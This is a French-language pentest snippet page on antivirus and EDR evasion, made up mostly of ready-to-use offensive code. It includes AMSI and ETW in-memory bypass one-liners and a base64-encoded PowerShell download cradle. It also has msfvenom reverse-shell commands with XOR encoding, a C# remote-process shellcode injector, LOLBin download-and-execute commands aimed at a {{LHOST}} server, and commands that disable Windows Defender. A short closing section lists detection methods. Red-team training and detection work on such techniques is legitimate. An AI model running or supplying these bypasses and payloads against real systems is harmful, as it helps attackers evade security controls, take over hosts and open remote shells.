MDstable
NoteSnippetChecklistPlaybook

AV/EDR Evasion — Obfuscation, AMSI Bypass, Shellcode Encoding

Techniques d'évasion antivirus et EDR : obfuscation PowerShell, bypass AMSI, shellcode encoding, living off the land

snippetadvanced 2026-05-14 5 min read
evasionamsipowershellshellcodeobfuscationliving-off-the-landdefenderedrpentest

Contexte

Niveaux de dfense contourner
1 Signature AV hash patterns de bytes statiques
2 Heuristique AV comportements suspects
3 AMSI Antimalware Scan Interface analyse PowerShell en mmoire
4 EDR Endpoint Detection & Response telemetry syscall comportement
5 ETW Event Tracing for Windows trace des appels API

Bypass AMSI

powershell
# AMSI est chargé dans chaque session PowerShell
# Il intercepte les scripts avant exécution et les envoie à Windows Defender
# Bypass 1 — Patch de la fonction AmsiScanBuffer en mémoire
# (ne pas exécuter tel quel — à utiliser en contexte lab autorisé)
$a=[Ref].Assembly.GetTypes();Foreach($b in $a){if ($b.Name -like "*iUtils"){$c=$b}};
$d=$c.GetFields('NonPublic,Static');Foreach($e in $d){if($e.Name -like "*Context"){$f=$e}};
$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf=@(0);
[System.Runtime.InteropServices.Marshal]::Copy($buf,0,$ptr,1)
# Bypass 2 — forcer un refus d'initialisation AMSI
[Runtime.InteropServices.Marshal]::WriteByte((([Ref]'').Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiInitFailed","NonPublic,Static")).GetValue($null), 1)
powershell
Variables
{{LHOST}}
# Obfuscation de strings pour passer les signatures statiques
# Diviser les mots-clés détectés
$cmd = "IEX" -replace "IE", "In"+"vo"+"ke-Expr"
# Ou : concat de caractères
$amsi = [char]65+[char]109+[char]115+[char]105 # "Amsi"
# Encoder la commande en base64
$encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes('IEX(New-Object Net.WebClient).DownloadString("http://{{LHOST}}/payload.ps1")'))
powershell.exe -EncodedCommand $encoded

Obfuscation PowerShell

powershell
# Invoke-Obfuscation (outil dédié)
Import-Module ./Invoke-Obfuscation.psd1
Invoke-Obfuscation
# ENCODING → BASE64 → exécuter le résultat
# Techniques manuelles :
# Backtick insertion
In`voke-Expression "whoami"
I`E`X("whoami")
# Concaténation de variables
$a = "Invoke"; $b = "-Expression"; & ($a+$b) "whoami"
# Alias
Set-Alias -Name invoke -Value Invoke-Expression
invoke "whoami"
# Reverse string
-join ("noisserp-xe-ekovni"[-1..-18])
# Format string
"{0}{1}" -f 'Invoke','-Expression' | IEX

Shellcode Encoding & Injection

bash
Variables
{{LHOST}}
{{LPORT}}
# msfvenom — encodage du shellcode
msfvenom -p windows/x64/shell_reverse_tcp LHOST{{LHOST}} LPORT{{LPORT}}
-e x64/xor_dynamic -i 5 -f raw -o shellcodebin
# Sortie Python (pour injection manuelle)
msfvenom -p windows/x64/shell_reverse_tcp LHOST{{LHOST}} LPORT{{LPORT}}
-f python -o shellcodepy
# Cryptage custom XOR du shellcode
python3 << 'EOF'
shellcode b"\xfc\x48\x83\xe4..." # shellcode brut msfvenom
key 0x41
encrypted bytesb key for b in shellcode
print"b'" ''joinf'\\x{b:02x}' for b in encrypted "'"
EOF
csharp
// C# — Injection de shellcode dans un processus distant (process injection)
using System;
using System.Runtime.InteropServices;
class Inject {
[DllImport("kernel32.dll")] static extern IntPtr OpenProcess(uint a, bool b, int c);
[DllImport("kernel32.dll")] static extern IntPtr VirtualAllocEx(IntPtr p, IntPtr a, uint s, uint t, uint pr);
[DllImport("kernel32.dll")] static extern bool WriteProcessMemory(IntPtr p, IntPtr b, byte[] f, uint s, out int w);
[DllImport("kernel32.dll")] static extern IntPtr CreateRemoteThread(IntPtr p, IntPtr a, uint s, IntPtr f, IntPtr pa, uint c, IntPtr ti);
static void Main(string[] args) {
byte[] shellcode = new byte[] { /* shellcode XOR-decrypté ici */ };
int pid = int.Parse(args[0]); // PID du processus cible
IntPtr hProc = OpenProcess(0x001F0FFF, false, pid);
IntPtr alloc = VirtualAllocEx(hProc, IntPtr.Zero, (uint)shellcode.Length, 0x3000, 0x40);
WriteProcessMemory(hProc, alloc, shellcode, (uint)shellcode.Length, out _);
CreateRemoteThread(hProc, IntPtr.Zero, 0, alloc, IntPtr.Zero, 0, IntPtr.Zero);
}
}

Living Off the Land (LOLBins)

powershell
Variables
{{LHOST}}
# Télécharger et exécuter via des binaires Windows légitimes
# certutil — télécharger un fichier
certutil.exe -urlcache -split -f http://{{LHOST}}/payload.exe C:\Windows\Temp\p.exe
# bitsadmin — téléchargement silencieux
bitsadmin /transfer job /download /priority foreground http://{{LHOST}}/payload.exe C:\Windows\Temp\p.exe
# mshta — exécuter du VBScript/JScript
mshta.exe http://{{LHOST}}/payload.hta
mshta.exe vbscript:Execute("CreateObject(""WScript.Shell"").Run ""powershell -c whoami"":Close")
# regsvr32 — exécuter un COM scriptlet (AppLocker bypass)
regsvr32.exe /s /n /u /i:http://{{LHOST}}/payload.sct scrobj.dll
# wscript / cscript — exécuter JScript
wscript.exe //E:jscript payload.js
cscript.exe //nologo payload.vbs
# rundll32 — exécuter DLL custom
rundll32.exe C:\Windows\Temp\evil.dll,EntryPoint
# InstallUtil — bypass CLM + AppLocker
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U payload.exe

Désactiver / Contourner Windows Defender

powershell
# (Nécessite admin)
Set-MpPreference -DisableRealtimeMonitoring $true
Set-MpPreference -DisableIOAVProtection $true
Set-MpPreference -DisableScriptScanning $true
# Exclusions (plus discret que désactiver)
Add-MpPreference -ExclusionPath "C:\Windows\Temp"
Add-MpPreference -ExclusionExtension ".exe,.dll"
Add-MpPreference -ExclusionProcess "powershell.exe"
# Supprimer les définitions (si accès local)
"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
# Désactiver via registre (persistant)
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" `
-Name "DisableAntiSpyware" -Value 1

Contournement ETW (Event Tracing for Windows)

powershell
# ETW logue les activités PowerShell au niveau kernel
# Patcher ETW en mémoire (discrèt, non persistant)
$a = [Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider')
$b = $a.GetField('etwProvider','NonPublic,Static')
$c = $b.GetValue($null)
[System.Diagnostics.Eventing.EventProvider].GetField('m_enabled','NonPublic,Instance').SetValue($c,0)

Défense — Détection de l'évasion

powershell
# PowerShell Script Block Logging (Event ID 4104) — même avec AMSI bypass
# → Les scripts décodés apparaissent dans le log
# Constrained Language Mode — bloque les reflexion et type manipulation
$ExecutionContext.SessionState.LanguageMode # ConstrainedLanguage si actif
# WDAC (Windows Defender Application Control) — plus fort qu'AppLocker
# → Bloque les LOLBins non signés par Microsoft
# Sysmon Event ID 8 (CreateRemoteThread) — détecte l'injection de shellcode
# Sysmon Event ID 10 (ProcessAccess) — accès inter-processus suspect
# Surveiller les téléchargements via LOLBins
Get-WinEvent -LogName Security | Where-Object {
$_.Message -match "certutil|mshta|regsvr32|bitsadmin"
}
⚠ Attention —

Ces techniques sont détectées par les EDR modernes (Defender for Endpoint, CrowdStrike, SentinelOne) qui utilisent la télémétrie comportementale, pas uniquement les signatures. Un bypass AMSI seul ne suffit plus — les EDR loguent les appels API suspect indépendamment d'AMSI. En engagement réel, évaluer d'abord la maturité du SOC client avant de choisir la technique.

OPS·BRAIN v1.075 notes · Securitylocal